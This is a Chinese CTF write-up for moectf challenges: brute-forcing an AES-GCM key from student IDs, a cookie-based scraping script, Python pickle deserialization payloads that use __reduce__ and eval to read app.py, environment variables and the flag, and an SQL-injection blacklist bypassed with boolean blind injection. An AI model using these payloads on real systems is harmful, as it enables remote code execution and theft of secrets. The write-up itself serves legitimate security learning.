难度有点上来了😥
查分系统_revenge 题目信息:老师听说上次发布的系统可以查到所有人的分数,于是老师让沙包AI完善了一下这个系统,这样肯定大家只能凭学号查到自己的成绩了吧(学号为8位数字)
这题是上次查分系统的强化版,上次是可以直接进行search找到flag,这次题目把所有的数据都进行了加密。
那就先读一下代码然后分析怎么来解密吧。
1 2 3 4 5 6 7 <div class="card"> <h1>数学分析期末成绩查询</h1> <input id="input_sid" class="form-input" placeholder="请输入 8 位学号" maxlength="8"> <button id="btn_search" onclick="searchScore()">查询成绩</button> <div id="error_tip"></div> <div id="result_box"></div> </div>
调用函数searchScore(),点击按钮时执行查询操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 async function searchScore() { const sidDom = document.getElementById("input_sid"); const btnDom = document.getElementById("btn_search"); const sid = sidDom.value.trim(); //这个应该是获取输入学号 if (!/^\d{8}$/.test(sid)) { //判断输入是否为8位数字 showErr("请输入 8 位数字学号!"); return; } btnDom.disabled = true; try { for (const record of encryptedStudentData) { //遍历每一条数据 try { //输入正确时的学号 const student = await tryDecrypt(record, sid); showResult(student); return; } catch (e) {} } showErr("学号错误"); } finally { btnDom.disabled = false; } }
这里可以看出是拿输入进去的学号来尝试解密每一个数据,若可以正确解密(解密出来的学号和输入的学号相同)就直接输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 async function makeKey(password) { //生成密钥,password是输入的学号 const raw = new TextEncoder().encode(password); //将输入的学号转换为字节数组 const hash = await crypto.subtle.digest("SHA-256", raw); //哈希加密 return crypto.subtle.importKey("raw", hash, { name: "AES-GCM" }, false, ["decrypt"]); } async function tryDecrypt(record, sid) { //尝试解密,sid是输入的学号,record是加密数据 const key = await makeKey(sid); const iv = b64ToBytes(commonIv); const data = b64ToBytes(record["数据"]); const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, key, data); const student = JSON.parse(new TextDecoder().decode(plain)); if (String(student["学号"]) !== sid) throw new Error("mismatch"); return student; }
使用的是AES-GCM对称加密,源代码是给出了const commonIv = "bW9lY3RmMjAyNml2";这个明显也是base64编码,转化过来是moectf2026iv 但是我们这里直接缺少一个秘钥key而这道题目中的key又需要通过输入的学号来得到。明显这题要解出来的话就是要把key给试出来。 这里使用py脚本对其进行学号爆破,我想法是先找出了看起来像是藏有flag的学生加密信息,这样用py脚本来爆破能快很多并且直接就能得到flag。 对于第234行其学生信息最长,最有可能是放flag的地方,先重点对其爆破。 那么问题就集中在python中如何进行SHA-256 ,以及如何使用AES-GCM 。 随后写出解题的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from Crypto.Cipher import AES import hashlib import base64 text = base64.b64decode( "EU6+AKa9FPBW9+CNtCZv/WKaUeXZ81UOcyMal2aaBu5Bk2oVlcl9cKB4x1gwk3HaaTgnY9WRsoy+wK0jF9A85pKeOg8BL4kHK9xjMSj2oyzyQRQ0pWqr2Mchmh1CX1NAsQVunHm17AGNEl7dGClUOpWPQ5qUU3d+F2gm85wlsHuhBLJ2VfuN4pU1LnmcjhXFmDFGmqpIpjEFD1mKqzHKxoPBp23Cfz8pAUkt/dwcPIKOgQgyLyGzWh3y3thhN2xMLhb0n4+20qRDl3y/LM5/MjNjJcQ1DAXc6ZyFqdRQzHxP+5JC+dqrjD2mCpx7Xdi+trHfgx5hVXObwvsgJtkCuoMlR08fc9sivX9+cC5BoXuDKI+9u83RlHjI23hUgpBmURFbN2GXu9aw9L0gT/stvkUHMdfqWCIyqr/VdKd8fedHQZzpQJazF8QJggkERUYvBl+Dbi5j8LBekblwBpkSjTJybM/DrbCUYmnlSO2X+P+VF7wEG/E+KqZw/xKpl8Mb3kkhJF9MHkFe+65gBXmqFwxZfBKJ3yT80uVxGq4dSnErK1fvdHtkpW1NSBXGGD/Qo79/qD7Zj/PPzYVOkKdo4Yw/mT4RVD99kqtguL+9TniYOWgPQkIqLEhhd/H0QgdU6Kanp1JeuqO7EHfk8XRz4HL1Jlx2E8zyEr0J2IiViNUeSf/BTliehGpuiYeAcA==" ) iv = b"moectf2026iv" for i in range(10000000, 100000000): print(i) sid = str(i).encode() key = hashlib.sha256(sid).digest() #把学号sid通过SHA-256哈希,生成一个32字节的密钥。 cipher = AES.new(key, AES.MODE_GCM, nonce=iv) #校验是否解密成功 try: plaintext = cipher.decrypt_and_verify(text[:-16], text[-16:]) #这里是因为AES-GCM加密后会得到两个部分:真正的密文text和16字节的认证标签tag except ValueError: continue print("sid =", sid.decode()) print(plaintext.decode()) break
python实现加密解密
moectf{y0u_c@n_reAd_th3_htmI_Annmnd_Buwuuurp_1IllIIlIIl11llII}
我爱发明 打开后是一个倒计时让我们快速填入的信息的页面。
前面两题都比较简单,应该是引导如何使用。
重点在于第三个问题。它时间给的特别短,时间一到就提示 本轮验收尚未开始或已经结束,请回到第三关 。
首先是需要 收集所有盖章通过的机械组验收片段 ,观察了一下档案库内是 6 的倍数的物品都是具有验收片段的,并且每次结束后再开启片段还是不一样的。
这题思路很清晰,就是让我们写 py 脚本并且查找每一组 6 的倍数的 invent,找出所有的验收片段,再把这些片段用英文竖线 | 连接,提交该连接串的 SHA256 结果,格式为 64 位十六进制。
首先使用 burpsuite 来查看请求格式。
每次点开都带有一个新的 cookie,并且这个 cookie 就代表着一局游戏的进行。
我其实是想着使用程序自动获取 cookie 的,但是我这里发现如果我用 requests 访问页面的时候不会带上 cookie,直接 403 拒绝访问。
不过时间看起来还是比较充足的,尝试一下直接手动获取 cookie 填入应该来得及。
Python爬取网页数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import requestsimport hashlibimport redef solve_challenge (): print ("Cookie:" ) my_cookie = input ().strip() base_url = "http://127.0.0.1:31557/invent/{}" fragments = [] headers = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" , "Cookie" : my_cookie } print ("\n开始提取片段..." ) for i in range (6 , 289 , 6 ): url = base_url.format (i) try : response = requests.get(url, headers=headers, timeout=5 ) if response.status_code == 200 : match = re.search(r'验收片段[\s\S]*?[::][\s\S]*?([A-Z0-9]{8})' , response.text) if match : code = match .group(1 ) fragments.append(code) print (f"{i} : {code} " ) else : print (f"{i} : 未找到符合格式的片段" ) else : print (f"{i} : 状态码 {response.status_code} " ) except Exception as e: print (f"{i} : {e} " ) final_string = "|" .join(fragments) sha256_hash = hashlib.sha256(final_string.encode('utf-8' )).hexdigest() print (f"最终 SHA256: {sha256_hash} " ) if __name__ == "__main__" : solve_challenge()
moectf{Comput3rs_@r3_m@gn!fic3nt_+00l}
日志系统
这是一道上传文件导入恶意脚本的问题,题目可以通过导入 .pkl 格式的文件来导入日志。
那么首先先查找 pkl 的相关资料。
pickle反序列化
Python Pickle 模块
了解到了一些基本知识:
pickle.dumps() 把对象变成二进制数据
pickle.loads() 把二进制数据变回对象,并且在读取时会执行其中的代码
eval 可以把字符串当成字符来执行(可以避免跨平台报错)
先使用查找到的代码模板进行尝试:
1 2 3 4 5 6 7 8 9 10 11 12 import pickledata = { 'name' : 'Alice' , 'age' : 25 , 'hobbies' : ['reading' , 'traveling' ] } with open ('data.pkl' , 'wb' ) as file: pickle.dump(data, file)
发现是可以进行读取的操作,pickle 文件可以正常运行。
__reduce__ 需要返回元组,会在反序列化的时候自动执行,尝试使用这个函数来攻击。
尝试利用 os 来读取环境变量:
1 2 3 4 5 6 7 8 9 10 import pickleclass Exploit (object ): def __reduce__ (self ): b = "str(__import__('os').environ.items())" return (eval , (b,)) payload = pickle.dumps(Exploit()) with open ('env.pkl' , 'wb' ) as f: f.write(payload)
似乎并没有什么用
再看看 app.py 里有什么:
1 2 3 4 5 6 7 8 9 10 import pickleclass Exploit (object ): def __reduce__ (self ): b = "open('app.py', 'r').read()" return (eval , (b,)) payload = pickle.dumps(Exploit()) with open ('env.pkl' , 'wb' ) as f: f.write(payload)
也是显示不全,干脆直接尝试读 FLAG 算了:
1 2 3 4 5 6 7 8 9 10 import pickleclass Exploit : def __reduce__ (self ): b = "__import__('os').environ.get('FLAG')" return (eval , (b,)) payload = pickle.dumps(Exploit()) with open ('solve.pkl' , 'wb' ) as f: f.write(payload)
moectf{5d4b9f1e-994e-3039-a0cc-cb4da00ad27f}
江洋大盗 又是一道典型的 SQL 注入的问题,这道升级版的题目有以下的命令无法使用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 BLACKLIST = [ "union" , "sleep" , "benchmark" , "get_lock" , "release_lock" , "extractvalue" , "updatexml" , "load_file" , "outfile" , "dumpfile" , " into " , "insert" , "update" , "delete" , "drop" , "alter" , "create" , "replace" , "truncate" , "handler" , "procedure" , "--" , "/*" , "*/" , "#" , ";" , ]
不过 AND 是没有禁用的,感觉可以试试布尔盲注。
发现是可行的,并且在错误时也会提示。说明可以使用 sqlmap 进行尝试。
moectf{C0ngr@+u1@7|0ns_8u+_+h3re_wou1d_not_6e_any_pas7_3x@m_pap3r_in_f4ct}